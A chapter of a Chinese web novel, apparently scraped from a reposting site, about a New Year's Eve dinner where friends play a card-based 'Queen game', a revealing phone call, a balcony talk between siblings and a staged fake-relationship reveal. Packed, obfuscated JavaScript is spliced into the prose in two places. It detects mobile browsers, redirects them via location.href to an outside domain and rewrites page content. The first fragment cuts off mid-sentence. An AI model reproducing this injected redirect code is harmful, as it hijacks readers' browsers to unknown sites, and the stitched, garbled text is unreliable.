蒋昭恒虽然不想跟简晓夜搭话,眼神却暴露了他的好奇心。 向宁对她的感叹深表赞同:“我小时候,家里也有这么一张折叠桌。每年除夕晚上,一大家子人都会围着它吃饭。” 只不过,她从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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向宁心中暗叫糟糕,明面上却热情依旧,主动提议道:“那我下去接你吧,不然你没有门禁卡,用不了电梯。” 希望此举能为简晓夜多争取一点时间,免得她被祝璋的突然来访吓到心态爆炸,连饭都吃不下去。 果如所料,简晓夜听说这件事后,脸上的每一块肌肉都变得僵硬起来,结结巴巴问道:“祝、祝总怎么会到这来?她、她不回家过年吗?” 枕安解释道:“她和祝高远大吵了一架,气得没法在他家待下去,又嫌她自己家太冷清,不想回去。大过年的,去其他生意伙伴家里也不合适,思前想后,只能来咱们这凑凑热闹了。” 一旁的蒋昭恒听了半天,不太确定道:“你们说的这位‘祝璋’,是呈业集团的祝总吗?” 向宁点点头:“你认识啊?” “我们律所跟她们公司有合作,但我没见过她本人。”蒋昭恒有些惊讶,“你们的私交居然这么好?” 向宁懒得解释来龙去脉,索性忽略了他的后半句话,一边穿外套一边说:“行了行了,四舍五入大家都是熟人,一会都热情点,别哪壶不开提哪壶就行。” 语毕轻拍简晓夜的肩膀:“你OK吗?” “还是有点怵。”简晓夜深吸一口气,“不过……就当这是一次演技大考验吧。” 62. 女王游戏 向宁赶到楼下时,祝璋把车停在了路灯下,正在垃圾桶旁抽烟。高挑身形落下孤单的影子,短款皮衣稍显单薄,难以抵御冬夜的寒风。 见她走近,祝璋不疾不徐地按灭了烟,把手缩进口袋里,跟她打了声招呼。 “怎么不抽了?”向宁问。 “两口就行,多了反胃。”祝璋答。 “真遗憾没把刚才那一幕拍下来。”向宁半认真半玩笑道,“一推楼门,我还以为自己看见了文艺片里的女主角。” 祝璋淡淡一笑:“文艺片女主,听起来就苦命。” 向宁又走近一段距离,站定在她面前,歪头道:“走吧,去我家演都市青春偶像甜宠剧。” 祝璋噗地笑出了声,扭开脸,伸手把被风吹乱的头发别到耳后,嫌弃道:“甜宠,还不如苦情呢。” 向宁脸上的表情忽而僵硬一瞬。不是因为祝璋的评价,而是因为她这时才看见,祝璋的左脸上有几道浅红色的指痕,很像被人扇了巴掌留下的痕迹。 回想祝璋刚才整理头发的动作,竟好像对这片痕迹毫无察觉似的。 向宁心里一揪,提醒道:“祝总,你脸上……” 祝璋先是不解,继而用车上的后视镜照了照两颊,眸中笑意顿时褪去。 向宁柔声关切道:“要不我先上楼,拿瓶粉底液帮你遮一遮?你用什么色号?” “不用。”祝璋直起身子,又把耳后的头发挑到前面来,从后备箱里取出两瓶洋酒,“一会我多喝点酒,把脸喝红就看不出来了。” 向宁猜到她这是打算借酒浇愁,却不得不多劝一句:“还是遮一遮吧,我家不止有枕安和晓夜在,还有另一个朋友,你不认识。” 祝璋不假思索:“他认识我吗?” 向宁点头。 祝璋气定神闲:“既然认识我,那他敢出去乱说我挨打的事吗?” 向宁连忙摇头。 “那不就行了?不用遮。” 话已至此,向宁也不好再劝,只得带她上楼。 …… 这顿年夜饭虽然只有一张桌子,坐席安排的麻烦程度却堪比电影节颁奖典礼——这个大花不想和那个大花坐一桌,那个小生又不能跟这个小生坐一起,几串条件列下来,俨然就是一道小学奥数题。 已知: 一、简晓夜不敢和祝璋坐一起,不想和蒋昭恒坐一起。 二、蒋昭恒不想和简晓夜坐一起,想和向宁坐一起,同时不想向宁和枕安坐一起。 三、枕安态度不明,设为未知数X。 四、祝璋不在乎谁跟谁坐一起,只想坐在离酒瓶最近的位置。 问:作为主人的向宁该如何安排眼前的五个坐席? 答:向宁压根不打算花心思安排。座位有限,先到先得。 “人齐了,大家都坐吧。” 话音一落,向宁自己先在正对电视的位置上坐了下来。 祝璋刚才本就一直站在她身旁,这时也懒得挪步子,直接在她右边坐了下来。 枕安离向宁左手边的位置最近,蒋昭恒眼看他就要坐过去,自己已经来不及争抢,便急中生智想了个招,对简晓夜说:“女士优先,你选位置吧。” 鹬蚌相争,渔翁得利。简晓夜连忙去向宁左边坐下,喝了口草莓汁压惊。 剩下两个位置中间隔着一段距离,正好不遮挡众人看电视的视线。剩余两人看似还有选择,实际已经选无可选。 枕安先去祝璋右边坐了下来,蒋昭恒纵然心有芥蒂,也不得不坐在简晓夜左边。 春晚开场曲是几十年如一日的热闹,高明度、高饱和的画面着实扎人眼睛。比起这个节目,还是桌上热腾腾的饭菜更有吸引力。 “好久没过过这么热闹的年了。”向宁主动举杯,“大家碰一个吧!” 三杯红酒,一杯洋酒,中间还夹着一罐格格不入的草莓汁,五人碰了个各怀心思的杯。 “以前你一直是一个人过年的吗?”枕安问道。 向宁摇头:“不是一直,近三年吧。” 蒋昭恒看着她温言道:“以后都不会了。” “是啊。”简晓夜怅然一笑,“从今年开始,以后至少都有我陪你吃年夜饭。” 蒋昭恒斜她一眼:“等她结婚了,还轮得到你陪?” 简晓夜满带嫌弃地撇撇嘴:“大过年的,别说那么晦气的事行吗?” 祝璋闻言忽地一笑,笑声过于明显,莫名把蒋昭恒准备反驳的话堵了回去。 “听你们聊天,倒是比那些小品有意思。”说着,她又给自己续了杯酒。 瞧她这架势,向宁看着难免悬心,按住她手里的酒瓶劝道:“别喝这么急,太快醉倒就没意思了。” “哦?”祝璋挑眉问道,“难道你们还有什么不容错过的好节目?” 向宁正不知该怎么继续劝,就听蒋昭恒插话道:“有。” 他不知从哪摸出来一副扑克牌,看包装还是私人订制版。牌盒和牌身都是金属材质,上面还刻着精致的花纹。 简晓夜略瞟一眼便忍不住揶揄他:“我真服了您老人家,怎么把它给翻出来了,不知道的还以为宜修又在整理纯元的遗物呢。” 蒋昭恒也冲她撇撇嘴,回敬道:“大过年的,别说那么晦气的事行吗?” “这副牌有什么典故吗?”祝璋问道。 简晓夜的语气十分正经,仿佛在给领导做工作报告:“上大学的时候,我们一帮朋友去他家给宁宁庆生,玩酒桌游戏用的就是这副牌。” “什么游戏?” “女王游戏。” 祝璋闻言一怔,继而向她投去一个意味深长的眼神:“你们玩的这个,是正经游戏吗?不会违背公序良俗吧?” 简晓夜很快意识到她误会了什么,急忙解释道:“不不不不不违背!其实跟国王游戏差不多,就是细节方面略有区别,而且惩罚的方式没有国王游戏那么低俗。” “喔……确实蛮有意思的。”祝璋放下酒杯,饶有兴致道,“怎么玩?” “开一局就知道了。”蒋昭恒从牌盒里找出几张牌,背面朝上捻成一个扇形,目光扫过其余几人,“有没有不敢玩的?” 祝璋率先抽牌,用手遮着看了一眼,接着把牌倒扣在桌面上,用手指轻敲着催促众人抽牌。 简晓夜不欲扫她的兴,紧随其后抽了张牌,看清牌面后,略显失望地把牌捏进手里。 蒋昭恒随即朝向宁扬了扬眉,唇角带笑。 向宁懒洋洋喝了口红酒:“你不知道我从来不吃激将法吗?” 蒋昭恒一贯拿她没办法,只能服软道:“给个面子吧。” 向宁这才抽牌,同时看向一直没表态的枕安。 他刚刚搜完国王游戏的规则,才放下手机,剩余两张牌就被递到了面前。 “敢吗?”蒋昭恒语带挑衅。 “总不会比杀鱼麻烦。”枕安欣然抽牌,话中难掩讽刺。 五人都看过了自己的牌面,蒋昭恒率先翻牌,微笑道:“红心Queen,这局由我来选人派任务咯。” 其余四人拿的牌分别是红心A、2、3、4,蒋昭恒拿出四张对应的黑桃牌,打乱后倒扣在桌面上,接着抽出一张翻开。 “黑桃A,谁是红心A?”他问。 向宁在心里叹了句倒霉,翻开自己的牌。 简晓夜摇头啧啧两声,对蒋昭恒说道:“算你运气好,出门前拜过黄历吧?” 向宁捏着红心A,一板一眼对蒋昭恒说:“别忘了下一道流程——其余三人投票表决,如果至少两人觉得你的任务太过分,这局就作废,你自己还要罚一杯酒。” “放心吧,我没忘。”蒋昭恒给自己续上红酒,而后与她对视道,“这局的任务就是——宁宁,把我的微信加回来吧。” 向宁不置可否,扫视一圈:“开始投票。” 蒋昭恒为自己拉票:“平心而论,这个要求不算过分吧?” 按顺序,从拿到2号牌的祝璋开始表态。她见向宁的表情并不抗拒,也乐得成人之美,便投出了赞成票。 3号牌是简晓夜,她一向和蒋昭恒不对付,自然表示反对。 决定权来到4号枕安,他直视着蒋昭恒隐有敌意的双眼,平静地说出了让对方意想不到的答案:“我弃权。” 这一票触及了祝璋的知识盲区,她连忙细问规则:“弃权怎么算?” “算平局。”蒋昭恒收回众人的牌,“由向宁自己决定要不要执行任务。” 向宁不甚在意地耸耸肩:“那就加回来吧。” 反正等蒋元磊从拘留所出来以后,她还得常和蒋昭恒打配合,加回微信也便于联系。 第二轮在几分钟后开启,众人放下筷子,再次抽牌。 这轮的红心Queen是向宁,而她抽到的黑桃3,则对应红心3简晓夜。 简晓夜翻牌时非常放松:“宁宁肯定不会坑我的,尽管发任务吧!” “那可未必。”向宁一语戳破了她的安全幻想,“这局的任务是——晓夜,把你的剧本拿出来给祝总看看呗。” 简晓夜闻言顿时瞪大双眼:“不、不行!” 她不拒绝还好,这一拒绝,反而勾起了祝璋的好奇心:“剧本而已,有什么不能看的?” 简晓夜在桌下踢了向宁一脚,苦笑着现编出一个理由:“不是不能看,主要是……我写的备注字太丑了,不好拿出来丢人……” “是这样吗?”祝璋半信半疑,故意诈她道,“你不会在里头写了骂我的话吧?” “当然没有!” 简晓夜知道这句解释太苍白,又不好把剧本拿出来自证,只得再踢向宁一脚泄愤,谁知竟被她躲开了,反而是祝璋表情微变。 糟糕,踢错人了。 好在她并不打算计较这场小乌龙,只是默默投出了赞成票。 蒋昭恒紧随其后,报复似的也投了赞成。 枕安无责一身轻:“我这票已经不影响结果了,投不投都一样。” 祝璋微微向前倾身,与简晓夜对视道:“众望所归,让我看看你的剧本吧。” 简晓夜盯着她含笑的眼睛看了两秒,突然鼓起勇气夺过向宁的酒杯,下定决心道:“我放弃任务,接受惩罚。” 语毕屏息仰头,大口喝完了这杯红酒。 祝璋注视着她的动作,唇角的笑意渐渐淡去,直到简晓夜放下酒杯,她才端起自己的半杯洋酒,探身过去跟她手里的空杯轻轻一碰,随后将其一饮而尽。 简晓夜心中猛地一跳,却见祝璋面色如常,仿佛刚才所经历的,只是普通商业宴会上最寻常不过的一次干杯。 …… 相声小品的节目质量虽然比不上往年,但是演到它们的时候,大家往往愿意静下来看一看。 短短十分钟节目时间,祝璋面无表情,只管一杯接一杯喝酒。她的面颊已经泛红,如果不仔细观察,很难看见上面的指痕。照这架势发展下去,酒量再好的人也扛不住。 向宁悄悄给枕安使眼色,无声摆出口型:“劝劝呀。” 枕安无奈摇头,给她发来微信:「从小到大,就没人劝得动她。」 向宁还想说些什么,一句话打了又删,删了又改,半天没发出去。枕安看着屏幕上方那行“正在输入中”频繁出现又消失,索性给她发了条:「不信你看。」 向宁随即抬头,就看见枕安往祝璋身边凑了凑,小声劝道:“你少喝点吧。” 祝璋剜他一眼,低声回击:“祝高远都管不住我,轮得到你管?” 枕安只得改换话术:“不是管不管的事,你就这么一直喝下去,不怕影响明天的工作吗?” 祝璋仍不在意:“大过年的,哪来那么多工作?” 二人你一句我一句,攻守几个回合,枕安也没能说服祝璋。 偏偏这时蒋昭恒还来横插一脚,给向宁发了条微信:「看来你室友跟祝总关系匪浅啊,这还当着外人呢,就说上悄悄话了。」 他的弦外之音不但明显,而且离谱,向宁看着好笑,又没法解释他们的关系,只能已读不回。 谁知蒋昭恒紧咬不放,很快又发来一条消息。 「逢人就撩,鉴定为花花公子牌中央空调。」 向宁有些无语:「好老土的梗。」 蒋昭恒不理她的吐槽:「我认真的。这种人,你还是提防着点比较好。」 向宁忍无可忍:「你别那么性缘脑行吗?」 蒋昭恒不甘示弱:「你别那么傻白甜行吗?」 向宁盯着那行字看了几秒,突然轻轻一叹。 「算了。」她说,「挺没意思的。」 蒋昭恒还想回复,却见她已经按熄屏幕,把手机扔到了一旁的沙发上。 电视里,小品演员情绪激动,已经吵闹了许久。剧情换汤不换药,总是一个无理取闹的漂亮妻子,配上一个油滑善良的平凡丈夫,闹出些张家长李家短的误会,最后达成莫名其妙的和谐结局。 俗,烂俗。 “大过年的,都少给自己找气受。”向宁调小电视音量,提议道,“接着玩吧。” 接下来两局都没什么意思。 第一局祝璋做Queen,她抽到的是蒋昭恒。二人互不熟识,玩游戏也玩得无趣且礼貌,不知道的还以为是公司团建的破冰环节呢。 第二局的Queen是枕安,他抽到的则是向宁。简晓夜原以为有乐子可看,蒋昭恒也打起了十二万分精神,时刻提防着他提出不合理的要求。 然而他们想象中的情节都没有发生。 枕安只是用商量的语气对向宁说:“今晚让祝璋姐住这吧。她喝成这样,回去万一——” “我喝成哪样了?”祝璋不满地反驳道,“这不是还没喝醉吗?” “迟早得醉。”枕安十分笃定。 “行了行了,这个任务不用投票。”向宁一口答应下来,“祝总,你就别拒绝我们的好意了。” 祝璋也知道他们是为了她好,只是不太喜欢这种服从安排的感觉,犹豫几番,才决定妥协一次。 捱过这些平淡无味的游戏,下一局的抽牌结果终于有了点看头。 “红心Queen在这。”蒋昭恒翻牌展示完,又去抽第二张牌,“黑桃3,谁是红心3?” “是我。”枕安翻牌与他对视。 二人都很看不惯对方,这是显而易见的事实。 “Wu~”简晓夜没藏住心声,起完哄才察觉不妥,连忙假装咳嗽,也不知算不算遮掩了过去。 向宁倒没什么可担心的。就算蒋昭恒对枕安有敌意,也绕不过游戏规则里的投票环节。一旦他提出的要求太过分,就只能搬起石头砸自己的脚。祝璋肯定会护着她弟弟,向宁也不会允许蒋昭恒在她的地盘上乱来。只要有这两票保底,就不会出岔子。 “这次的任务非常简单。”蒋昭恒移目看向枕安放在桌上的手机,“给你最近一次联系过的女性朋友打个电话,祝她新年快乐,通话全程都开免提。” 没有任何一个渣男能从这种游戏中全身而退,蒋昭恒誓要挖出他的真面目给向宁看看。 “为了确保公平,就麻烦祝总帮忙做个见证吧。”语毕,他看着枕安笑问,“差点忘了问,你应该不会介意吧?” 枕安对他回以一个微笑,眼神里却没有笑意,直接把手机递给祝璋,坦然道:“直接翻聊天列表就行。” 祝璋定睛一看:“不用打电话,他上一个联系的就是我。” 蒋昭恒忘了这茬,改口道:“那就再上一个。” “也不用打电话,是向宁。” “那就再上一个。” “也不用,是晓夜。” “啊?”简晓夜一头雾水,看向枕安,“咱俩什么时候聊过天?” 祝璋点开他们的对话页面,展示给她看:“一周前——我们已经是好友了,一起来聊天吧。” 简晓夜不禁失笑:“随便哥,你的社交圈还真小,一张桌子就坐得下。” 蒋昭恒偏不信邪,还坚持道:“那就再上一个,总不可能没有吧?除非他删过聊天记录。” “再上一个,有倒是有……”祝璋目光一滞,僵硬地勾了勾唇角,“是裴馨。” 蒋昭恒总算听到了陌生的名字,忙道:“行,那就投票吧。” 向宁率先翻开自己的1号牌,冷声道:“我反对。” 打电话也就算了,居然还要求开免提,万一对方知道枕安的另一个身份,聊天时说漏嘴了怎么办? 蒋昭恒对她的态度毫不意外,接着问:“谁是2号?” 简晓夜翻牌道:“我投赞成票。给朋友打个拜年电话而已,不算过分嘛。” 祝璋盯着自己的牌,半晌没有出声,直到蒋昭恒出言提醒,她才有所反应。 她并未直接表态,而是先询问枕安:“你上次跟裴馨联系是什么时候?” “两个月前。”他说。 祝璋喝了口酒,目光低垂着说:“那就给她拜个年吧。” 向宁有些意外,不过转念一想,既然祝璋都不觉得有何不妥,就说明这通电话没有让枕安暴露身份的危险。 “嘟——嘟——嘟——” 等待期间,众人都看着枕安的手机屏幕,唯独祝璋刻意移开目光,忙着给自己的酒杯添酒。 “喂?” 对面传来一道温柔的女声,祝璋倒酒的动作戛然而止。 “裴医生,新年快乐。”枕安说话时,目光时刻关注着祝璋的反应。 “你也是,新年快乐。”裴馨的声音带着笑意,“真没想到,你还会来给我拜年。最近怎么样,挺好的吧?” “挺好的。” “失眠的问题有没有复发?” “没有。” “其他症状呢?” “都好了。” “嗯,那就好。”裴馨沉默片刻,见他还没有结束对话的意思,便主动找话题往下聊,“你今年还是一个人过年吗?” “不是,跟几个朋友一起。” “真不错。”裴馨发自内心的为他高兴,“这些朋友里,有那位向小姐吗?” 此话一出,向宁、简晓夜、蒋昭恒都惊讶得睁大了眼睛。 向宁心道:这个裴医生是什么情况?枕安还跟她提过我? 简晓夜心道:我就知道我没猜错,随便哥心里肯定有猫腻! 蒋昭恒则在心里暗骂一句:靠,我还给他反向助攻了? “有的。”枕安加快了语速,似是想尽快把这个话题岔过去,匆匆问道,“裴医生,你最近也挺好的吧?” 他转移话题的方式过于生硬,裴馨愣了一愣,才回答说:“挺好的,我……” 几秒静默,吸引了所有人的注意。 裴馨深吸一口气,继续说道:“我陪女朋友回家了,今年跟她一起过年。” 枕安闻言,立刻看向祝璋。只见她握杯的手骤然加重力气,看着他,忽然故作轻松地一笑,然后放下了酒杯。 “那……恭喜你们了。”枕安直视着祝璋的双眼,对裴馨说,“祝你们长长久久,幸福美满。” “谢谢。”裴馨纠结来纠结去,还是决定问一问,“你姐姐最近怎么样,一切都好吗?” “嗯,都好。”枕安垂眸,“一心扑在工作上,忙得要死。” “挺好的。”裴馨的声音低了下来,“大家各有各的活法。” 枕安随口应了一声,不想再往下聊,便找了个要去洗碗的借口,结束了这通预期之外的电话。 简晓夜憋了许久,这时终于有机会问出心里的疑惑:“随便哥,这个裴医生……不会是你姐姐的前女友吧?” 此问一出,枕安还没来得及回答,向宁就在桌子下面踢了她一脚,低声斥道:“别乱说!” 简晓夜丝毫没有意识到问题的严重性,一本正经道:“我没有乱说,我在这方面很敏锐的好不好!” 向宁夹起一块糖醋里脊,塞给简晓夜堵住她的嘴,批评道:“那你也不能在人家背后议论这些隐私!” 更何况现在还当着人家的面呢!那就更不能瞎说了! “我又没有judge她们的意思。”简晓夜一口吞下糖醋里脊,抚着胸口为自己辩解,“我就是觉得……唉,刚才这段对话听得人怪心酸的。” 向宁忙又把草莓汁怼到她嘴边:“那就喝点甜的补一补。” 简晓夜愈发不解:“你今天好奇怪啊。” 向宁真恨不得对她翻个白眼。这家伙,怎么该敏锐的时候那么迟钝,该迟钝的时候又那么敏锐! 好在她折腾这么一回,简晓夜的嘴算是堵住了。然而她没有料到,蒋昭恒的嘴也是个麻烦。 “原来你不是独生子啊。”他对枕安问道,“既然这样,你怎么不陪你姐一起过年?” 祝璋怕枕安编不出合理的解释,为防惹人怀疑,便主动插话道:“她姐是我同学,这几年出国定居了,就托我帮忙关照关照他。” 简晓夜恍然大悟:“怪不得你俩关系那么好,原来是这样。” 蒋昭恒似有所悟,看一眼祝璋,又看一眼向宁,表情渐渐凝重起来,暂时压下了心底的猜想。 酒过三巡,祝璋已经有了醉意。 “再玩最后一轮吧。”她半眯着眼说,“我熬不住,今晚就不陪你们守夜了。” 众人没有异议,纷纷抽牌。 “终于轮到我做Queen了!”简晓夜激动地翻开牌面,“谁是红心A?” 祝璋一手撑着下巴,另一手把自己的牌翻给她看,带着醉态的声音仿佛飘在云端:“发任务吧。” 简晓夜暗道糟糕,四分之三的安全概率,她怎么就偏偏抽中了四分之一的祝璋呢? “我……我也想不出什么任务。”那张红心Q仿佛烫手,被她扔回桌上,“要不这轮就先算了吧。” 祝璋捏起她扔下的牌,挑眉道:“你就这么怕我?” “不、不是啊。”简晓夜强压心虚之态,“我是真的想不到能给你发什么任务……” “不着急,你慢慢想吧。”祝璋摇摇晃晃地起身,扶着椅背站稳身子,“我先去阳台透透气,等我回来,你最好已经想出答案了。” 祝璋的外套就挂在椅背上,语毕,她弯腰去摸外套口袋。 “等等!”简晓夜也站起来,大着胆子与她对视,“我……我想好了。” 祝璋身形摇晃,头也晕得厉害:“什么?” 简晓夜目光下移,看向祝璋的外套口袋,那里露出了烟盒一角。 “祝总。”她的语气小心翼翼,表情确实郑重严肃的,“你要不要试一试……把烟戒掉?毕竟,烟抽多了对身体不好。” 祝璋闻言一怔,继而轻笑起来。 在简晓夜耳中,那是一种居高临下的笑声,就好像在说:你算老几,还管到我头上来了? 但祝璋没有这样驳她的面子,而是又给自己倒上一杯酒。 “我也放弃任务,接受惩罚。”她说。 没人出言阻拦,伴随着祝璋最后一次放下酒杯的声音,只有简晓夜发出了一声怅然的轻叹。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047893|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枕安来到阳台时,祝璋正半趴在栏杆上。她左手夹着一支烟,没有点燃,就那么望着它出神。 枕安用力拿出她右手捏着的打火机,问道:“还是裴医生送你的那个?” 祝璋稍显迟钝地扭头看他:“你怎么来了?” “向宁怕你出事,让我来看着点。” “哦。”祝璋低头一笑,笑声里透着说不清道不明的欣慰,“你还真听她的话。” 枕安把打火机放进自己的口袋里,叹气道:“祝高远为什么打你?” “逼婚失败,恼羞成怒呗。”祝璋呸了一声,“真有他的,还想把杜琮招进来做女婿。” 枕安难免担心:“你应付得来吗?” 祝璋嗤笑一声:“别小看我。” “那就好。” “打火机还我。” “不还。” “很贵的。” “折现给你。” 祝璋瞪他一眼:“你是真的长大了。” 枕安扶着栏杆,目光远望:“总不能一直困在八年前。” 祝璋背靠栏杆,透过玻璃门看向室内,发出没头没尾的一问:“你是不是喜欢向宁啊?” 几秒沉默之中,楼下的小孩摔了个哑炮。 枕安去收祝璋手里的烟:“你喝多了,早点休息吧。” “有什么不敢承认的?”祝璋躲开他的动作,“我又不会给她五百万,让她离开我弟弟。” 枕安回避着她审视的目光:“你们为什么都觉得我喜欢她?” “‘们’是谁?” “简晓夜。”枕安想了想,“也许还有蒋昭恒。” “因为我们都有眼睛啊。”祝璋伸手去偷他口袋里的打火机。 枕安用力拍开她的手,没让她得逞:“我自己也有眼睛。” 祝璋并不恼怒,只是语重心长地说:“可是你自己的眼睛,看不到你看向她的眼神啊……” 枕安攥住她的打火机,垂眸不语。 祝璋靠近几步,抬头看他:“你是不是以为,你之所以对她好,只是出于愧疚?” “难道不是吗?”枕安的声音很轻。 “如果只是这样,你为什么看不惯蒋昭恒靠近她?” “因为他没资格喜欢她。”枕安答得毫不迟疑,“如果不是他从中作梗,向宁本来可以被向阿姨收养,可以过上更好的生活。” “嘴够硬的。”祝璋摇头笑叹,“我对向宁也有愧疚,但是我可不会用你那种眼神看着她。” “不是嘴硬。”枕安顿了顿,“是我不能喜欢她。归根结底,我和蒋昭恒一样,都没有那个资格。” “有没有资格,向宁本人说了才算。”祝璋回头朝她看去,同时询问枕安,“你从来没想过把当年的事告诉她吗?” “为什么要告诉她?” “或许她不会责怪咱们。” “你也说了是‘或许’。” 祝璋无法反驳,沉默半晌,转而问起:“难道你不想知道,她是怎么活下来的?” “不想。”枕安条件反射般回答,像在逃避什么似的,“她还活着,而且活得很幸福,这就够了。” “榆木脑袋,说不通。”祝璋干脆放弃了劝说,伸手道,“打火机还我。” 枕安正要拒绝,却听她说:“不还也可以,我去找向宁聊聊当年的事。” 语毕作势要走,枕安连忙阻拦,继而不情不愿地作出妥协。 祝璋拿回打火机,随即点燃手里的烟,一口也没有抽,就那么放任它与夜风纠缠。那一点橘红色的火光时亮时暗,像受了潮的仙女棒,炸不开更耀眼的光芒。 “帮我扔了吧。”她把打火机递给枕安,“你说得对,人不能永远困在以前。” …… 与此同时,客厅。 向宁跟简晓夜提议:“今晚让祝璋住你房间吧,你来跟我住就行。” “行啊。”简晓夜答应得爽快,不过很快又意识到一个问题,“我得先进去把剧本藏好,别让她看见了。” 语毕还朝向宁扔去一记眼刀:“都怪你,没事跟她提这茬做什么!” 向宁笑道:“我还不是为了让她看看你有多用功,多努力,在剧本上写了那么多人物分析和情绪表现,全角色全场景无一例外。论用心程度,全组上下还有哪个演员能跟你比?” “那也不能让她看见呀……”隔着落地玻璃,简晓夜望向祝璋的背影,“万一我演不好,这些岂不是都成了无用功、白努力?” 向宁正欲开口,就被简晓夜伸手按住:“行了,你可别再鼓励我了。鼓励越多,压力越大。” 向宁只得收声。 等简晓夜回到房间里,客厅里只剩下两人,蒋昭恒才跟向宁说起他的疑惑—— “你真的没觉得,你室友和祝总的关系很不一般吗?” “又来了,有完没完?”向宁白他一眼,“人家不是说得很清楚了吗?不是姐弟,胜似姐弟,你别总——” “真的不是姐弟吗?”蒋昭恒打断她的斥责,“之前的猜测是我想问题过于片面,可是这次,我不觉得自己又猜错了。” 向宁闻言一顿,面色如常道:“你不读财经新闻吗?祝家早就只剩她一个女儿了,哪来的什么姐弟?” 蒋昭恒表情严肃:“他最近联系过的三位女性今晚都在场,第四是那位医生,上次联系还是两个月前。” 向宁只当自己听不懂:“所以呢,你想说什么?” 蒋昭恒盯着她的双眼:“他那个所谓‘定居国外’的姐姐,怎么可能两个月都不联系他一次?” “谁知道呢。家家有本难念的经,也许他们姐弟关系并不好。” “如果是这样,他姐姐又怎么会拜托祝总关照他?” “面冷心热呗,这很好解释。” “不,这不合常理。”蒋昭恒看着她慢慢摇头,“唯一的解释是——祝璋就是他的姐姐。而你,向宁,你也知道他们的真实关系。正因如此,你才会在我误解他们有暧昧时,表现得那样不以为然。而现在我猜到了真相,你当然会满口否认,帮他们遮掩粉饰。或许我并不了解他们,但是我足够了解你。宁宁,你的表现已经告诉我答案了。” 向宁神色不改:“是吗,蒋律有何高见?” 蒋昭恒语气笃定:“你那个室友,应该就是祝高远的私生子吧?” 此话一出,向宁顿时在心里松了口气。真有他的,摆完这一通名侦探柯南的架子,到头来还是跟正确答案失之交臂了。 蒋昭恒见她没反应,还继续推理道:“只有这样才能解释,他为什么总是藏着掖着,不敢把真实姓名告诉别人。因为他姓祝,是知名富豪的私生子,身份当然见不得光。” 向宁不想继续往下听了,打断道:“说来说去,这些也只不过是你的猜测而已。大律师,证据的重要性,应该不需要我来跟你强调吧?” “别紧张。”蒋昭恒对她微微一笑,“闲聊而已,又不是要上法庭,何必那么一板一眼?” 向宁面无表情:“我没兴趣聊朋友的隐私。” 蒋昭恒看得出她有些不高兴,沉默片刻后表态道:“宁宁,其实我并不反对你跟他交朋友。” “是吗?有进步。”向宁冷笑一声,任谁听来都有些阴阳怪气。 蒋昭恒深吸一口气,继续说道:“但是,你跟他也只能到朋友为止了。” 向宁蹙眉瞥他:“别用这种爹里爹气的态度跟我说话,很烦。” “我不是想管你。”蒋昭恒急切分辩道,“换成你身边的其他任何男人,我都愿意公平竞争,不会多说什么,唯独他不行。” “为什么?” “就因为他是祝高远的私生子。”蒋昭恒加重了语气,“他的家庭背景太复杂了,不知道有多少隐患,搅进去很容易吃亏的。” 向宁反问:“难道我的家庭背景不复杂吗?我亲爹可还活着呢,祸害遗千年,不也是个隐患吗?喔,再加上我舅舅,两个隐患呢。” “我不是这个意思。”蒋昭恒回头看一眼阳台,长叹道,“一个祝家,内部不知道划分了多少阵营。各方争斗起来,麻烦程度只怕不亚于那些宫斗宅斗剧,我是怕你有危险。” “危险。”向宁从他的话里提取出这个关键词,继而发问,“做律师不危险吗?做公关不危险吗?项目上得罪了人,被打击报复的不在少数。轻则退圈,重则伤残,各种例子我也见了不少。难道还要因噎废食吗?” 蒋昭恒显然没想到她会这么说,无声张了张口,难以置信道:“你……不会已经喜欢上他了吧?” 向宁站起身来,大有送客的架势,语气冰冷道:“不止喜欢,我们明天领证,后天生娃,大后天买学区房。我这么回答,你满意了吗?” 蒋昭恒也站了起来,正要说些什么,阳台的门却忽然被推开了。 祝璋先走进客厅,脚步不太稳,枕安连忙跟上来扶了一把。 “聊什么呢?”祝璋对向宁好奇道,“我刚在外面看着,你俩都快吵起来了。” 向宁摇头笑笑:“没什么,聊案子的事。” 祝璋讶然:“你惹上官司了?”继而拍拍胸脯:“没事,告诉我,我人脉广,说不定帮得上你呢。” 向宁本想打个哈哈,把话岔过去,然而一转念,忽又改了口:“好,等明天你酒醒了,咱们再细聊。” “行,今晚我睡哪?” 向宁伸手一指:“前面最里面那间,晓夜的屋子。” “我扶你过去。”枕安说。 “不用。”祝璋一把推开他,“女生宿舍,男生止步。” 枕安拗不过她,只得作罢。 蒋昭恒心知现在不是说话的好时机,便拿起外套,准备告辞。 向宁看着他的背影。她实在厌倦了这种注定不欢而散的谈话,厌倦了这种无休无止的试探和拉扯。 所以,她决定一不做,二不休,干脆从源头上让蒋昭恒断了念想,别再对她有不切实际的期待。 “再帮个忙。”她牵住枕安的手,附在他耳边轻声说道。 枕安还没反应过来,就被向宁带着往门口走去。 “蒋昭恒。” 向宁叫住他,同时把枕安的手放在自己腰侧,微微卸力靠住他的臂膀。 “仔细想想,其实也没什么可瞒着你的。今天,我就索性把话说开了吧。” 蒋昭恒无法与她对视,目光几乎钉死在枕安搂住她腰的那只手上。 “我们已经在谈恋爱了。”她的语气毫不心虚,仿佛一切都本来如此。 枕安的手却倏地一颤,继而被向宁用力按住,这才没让蒋昭恒看出破绽。 “该放下的人和事,就早点放下吧。”她说,“都是成年人了,别把沉没成本看得太重,及时止损才是正事。” 蒋昭恒抬眸与她对视,咬着牙,一句话也没有说。 关门声仿若他的表态。“牛脾气。”她如此评价。 “以后在他面前,我需要一直扮演你的男朋友吗?”枕安的语气不太自然,胳膊也有些僵硬。 